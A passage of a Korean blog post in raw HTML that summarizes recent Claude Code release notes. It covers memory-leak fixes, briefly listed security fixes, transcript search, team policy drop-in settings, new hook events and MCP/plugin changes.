&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2002&quot; data-origin-height=&quot;1090&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JOxqc/dJMcaiJvhTV/9xtrAzw1LXS3BcuYZkQGUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JOxqc/dJMcaiJvhTV/9xtrAzw1LXS3BcuYZkQGUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JOxqc/dJMcaiJvhTV/9xtrAzw1LXS3BcuYZkQGUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJOxqc%2FdJMcaiJvhTV%2F9xtrAzw1LXS3BcuYZkQGUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2002&quot; height=&quot;1090&quot; data-origin-width=&quot;2002&quot; data-origin-height=&quot;1090&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;v2.1.63은 &quot;메모리 누수 대청소&quot; 릴리스였다. 한 번에 &lt;b&gt;13건의 메모리 누수&lt;/b&gt;를 수정했다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;성능 개선&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.63&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;13건 메모리 누수 수정 (listener, 캐시, 훅, 팀원, MCP 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.69&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;React memoCache 누수, REPL 렌더 스코프 누수 (~35MB/1000턴), SDK 세션 누수 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.69&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;Yoga WASM 프리로딩 지연 &amp;rarr; &lt;b&gt;기본 메모리 -16MB&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.70&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;프롬프트 입력 리렌더 &lt;b&gt;74% 감소&lt;/b&gt;, 시작 메모리 -426KB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.72&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;번들 크기 &lt;b&gt;-510KB&lt;/b&gt;, bash 파서 네이티브 모듈 전환&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.72&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;SDK &lt;code&gt;query()&lt;/code&gt; 프롬프트 캐시 수정 &amp;rarr; 입력 토큰 비용 &lt;b&gt;최대 12배 절감&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 수정들의 효과: v2.1.59에서 긴 세션이 &quot;점점 느려지다 결국 멈추는&quot; 문제가 v2.1.75에서는 대부분 해소되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 보안 수정&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주요 보안 수정&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.69&lt;/b&gt;: .gitignore 디렉토리(node_modules 등)에서 스킬 로드 방지&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.69&lt;/b&gt;: .mcp.json 첫 실행 시 서버별 승인 대화상자 정상 표시 (이전: 모든 서버 자동 활성화)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.69&lt;/b&gt;: symlink를 통한 워킹 디렉토리 탈출 방지 (acceptEdits 모드)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.74&lt;/b&gt;: 관리 정책의 &lt;code&gt;ask&lt;/code&gt; 규칙이 사용자 &lt;code&gt;allow&lt;/code&gt; 규칙에 의해 우회되는 문제 수정&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 10 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 검색 &amp;amp; 네비게이션 &amp;mdash; 드디어 대화를 찾을 수 있다&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;긴 세션에서 이전 대화를 찾으려고 끝없이 스크롤하던 경험이 있을 것이다. &lt;b&gt;v2.1.83&lt;/b&gt;에서 이 문제가 해결되었다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2006&quot; data-origin-height=&quot;1108&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cbBKsL/dJMcahKEwSO/tRafQIlEeI8yKnsjMmgZdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cbBKsL/dJMcahKEwSO/tRafQIlEeI8yKnsjMmgZdk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cbBKsL/dJMcahKEwSO/tRafQIlEeI8yKnsjMmgZdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcbBKsL%2FdJMcahKEwSO%2FtRafQIlEeI8yKnsjMmgZdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2006&quot; height=&quot;1108&quot; data-origin-width=&quot;2006&quot; data-origin-height=&quot;1108&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 트랜스크립트 검색 (v2.1.83)
Ctrl+O          # 트랜스크립트 모드 진입
/               # 검색 모드 진입
키워드 입력      # 실시간 매칭
n / N           # 다음/이전 매치로 이동&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;변경&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;트랜스크립트 검색&lt;/b&gt; &amp;mdash; Ctrl+O에서 &lt;code&gt;/&lt;/code&gt;로 검색, &lt;code&gt;n&lt;/code&gt;/&lt;code&gt;N&lt;/code&gt;으로 매치 간 이동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.84&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;75분 이상 유휴 후 복귀 시 &lt;code&gt;/clear&lt;/code&gt; 권고 &amp;mdash; 불필요한 토큰 재캐싱 방지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.84&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;토큰 수 표시 개선: 1,512.6k &amp;rarr; &lt;b&gt;1.5m&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.84&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;스크롤 점프 감소 &amp;mdash; 컴팩션/그룹 변경 시 메시지 창이 최상단으로 튀는 문제 해결&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;스크롤백 리셋 빈도 감소: 턴마다 &amp;rarr; ~50 메시지마다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실전 팁&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;긴 세션에서 작업하다가 &quot;아까 그 에러 메시지가 뭐였지?&quot;할 때: &lt;code&gt;Ctrl+O&lt;/code&gt; &amp;rarr; &lt;code&gt;/error&lt;/code&gt; &amp;rarr; &lt;code&gt;n&lt;/code&gt;으로 빠르게 찾을 수 있다. 더 이상 스크롤 올릴 필요 없다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 11 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 팀 &amp;amp; 엔터프라이즈 &amp;mdash; 조직 정책 관리의 진화&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1956&quot; data-origin-height=&quot;1106&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDVeSs/dJMcabXXyoZ/6fuGv28m66kEiLejtPyqKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDVeSs/dJMcabXXyoZ/6fuGv28m66kEiLejtPyqKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDVeSs/dJMcabXXyoZ/6fuGv28m66kEiLejtPyqKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDVeSs%2FdJMcabXXyoZ%2F6fuGv28m66kEiLejtPyqKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1956&quot; height=&quot;1106&quot; data-origin-width=&quot;1956&quot; data-origin-height=&quot;1106&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;여러 팀이 Claude Code를 쓰는 조직에서, 팀마다 다른 정책을 관리하기 어려웠다. &lt;b&gt;v2.1.83&lt;/b&gt;에서 이를 해결하는 핵심 기능이 추가되었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;managed-settings.d/ &amp;mdash; 팀별 정책 드롭인&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 기존: 하나의 managed-settings.json에 모든 정책
managed-settings.json

# v2.1.83~: 팀별 JSON 파일을 폴더에 넣으면 알파벳순 자동 병합
managed-settings.d/
├── 00-global-policy.json      # 전사 공통
├── 10-backend-team.json       # 백엔드팀 전용
├── 20-frontend-team.json      # 프론트엔드팀 전용
└── 30-security-overrides.json # 보안팀 오버라이드&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;팀/엔터프라이즈 변경&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;managed-settings.d/&lt;/b&gt; 드롭인 디렉토리 &amp;mdash; 팀별 독립 정책 병합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.84&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;allowedChannelPlugins&lt;/code&gt; 관리 설정 &amp;mdash; 채널 플러그인 화이트리스트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;CLAUDE_CODE_SUBPROCESS_ENV_SCRUB=1&lt;/code&gt; &amp;mdash; 서브프로세스에서 자격증명 제거&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;sandbox.failIfUnavailable&lt;/code&gt; &amp;mdash; 샌드박스 시작 불가 시 실행 중단 (unsandboxed 방지)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.80&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;--channels&lt;/code&gt; 리서치 프리뷰 &amp;mdash; MCP 서버가 세션에 메시지 푸시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.81&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;--channels&lt;/code&gt; 권한 릴레이 &amp;mdash; 도구 승인을 폰으로 전달&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 12 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;12. 훅 시스템 &amp;mdash; 반응형 자동화의 확장&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2002&quot; data-origin-height=&quot;1076&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOHu6t/dJMcafe1q5e/rNJRncZ3MTdVa1pmGU9mKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOHu6t/dJMcafe1q5e/rNJRncZ3MTdVa1pmGU9mKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOHu6t/dJMcafe1q5e/rNJRncZ3MTdVa1pmGU9mKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOHu6t%2FdJMcafe1q5e%2FrNJRncZ3MTdVa1pmGU9mKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2002&quot; height=&quot;1076&quot; data-origin-width=&quot;2002&quot; data-origin-height=&quot;1076&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;훅(Hooks)은 Claude Code의 자동화 기반이다. 이번 8개 릴리스에서 주요 새 훅 이벤트가 추가되었다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;훅 이벤트&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;용도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;CwdChanged&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;작업 디렉토리 변경 시 자동 실행 (예: direnv 환경 전환)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;FileChanged&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;파일 변경 감지 시 자동 실행 (예: 린터, 포매터 트리거)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;StopFailure&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.78&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;API 에러(레이트 리밋, 인증 실패 등)로 턴 종료 시 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;TaskCreated&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.84&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;TaskCreate로 태스크 생성 시 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;Elicitation&lt;/code&gt; / &lt;code&gt;ElicitationResult&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.76&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;MCP 서버의 구조적 입력 요청을 가로채기&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;// settings.json 예시: CwdChanged로 direnv 자동 전환
{
  &quot;hooks&quot;: {
    &quot;CwdChanged&quot;: [{
      &quot;type&quot;: &quot;command&quot;,
      &quot;command&quot;: &quot;direnv allow . 2&amp;gt;/dev/null; direnv export json&quot;
    }]
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실전 팁&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;CwdChanged&lt;/code&gt;는 monorepo에서 특히 유용하다. 에이전트가 &lt;code&gt;cd packages/backend&lt;/code&gt;할 때마다 해당 패키지의 환경변수와 도구 설정이 자동으로 전환된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 13 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;13. 플러그인 &amp;amp; MCP &amp;mdash; 보안과 확장성&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2024&quot; data-origin-height=&quot;1110&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYbgQx/dJMcabRaVAS/bGPRg768xRBxbrD1jLMaa1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYbgQx/dJMcabRaVAS/bGPRg768xRBxbrD1jLMaa1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYbgQx/dJMcabRaVAS/bGPRg768xRBxbrD1jLMaa1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYbgQx%2FdJMcabRaVAS%2FbGPRg768xRBxbrD1jLMaa1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2024&quot; height=&quot;1110&quot; data-origin-width=&quot;2024&quot; data-origin-height=&quot;1110&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;플러그인 Keychain 저장 (v2.1.83)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;플러그인이 API 키 같은 민감 설정을 받아야 할 때, 이전에는 안전한 저장 방법이 없었다. 이제 플러그인 활성화 시 설정을 입력받고, &lt;code&gt;sensitive: true&lt;/code&gt; 값은 &lt;b&gt;macOS Keychain&lt;/b&gt;(또는 다른 플랫폼의 보호된 자격증명 파일)에 저장된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;MCP 관련 개선&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;변경&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.76&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;MCP elicitation&lt;/b&gt; &amp;mdash; 서버가 작업 중 구조적 입력을 대화형으로 요청 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.84&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;도구 설명 2KB 캡 &amp;mdash; OpenAPI 서버의 컨텍스트 팽창 방지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.84&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;로컬+claude.ai 커넥터 중복 제거 &amp;mdash; 로컬 설정 우선&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
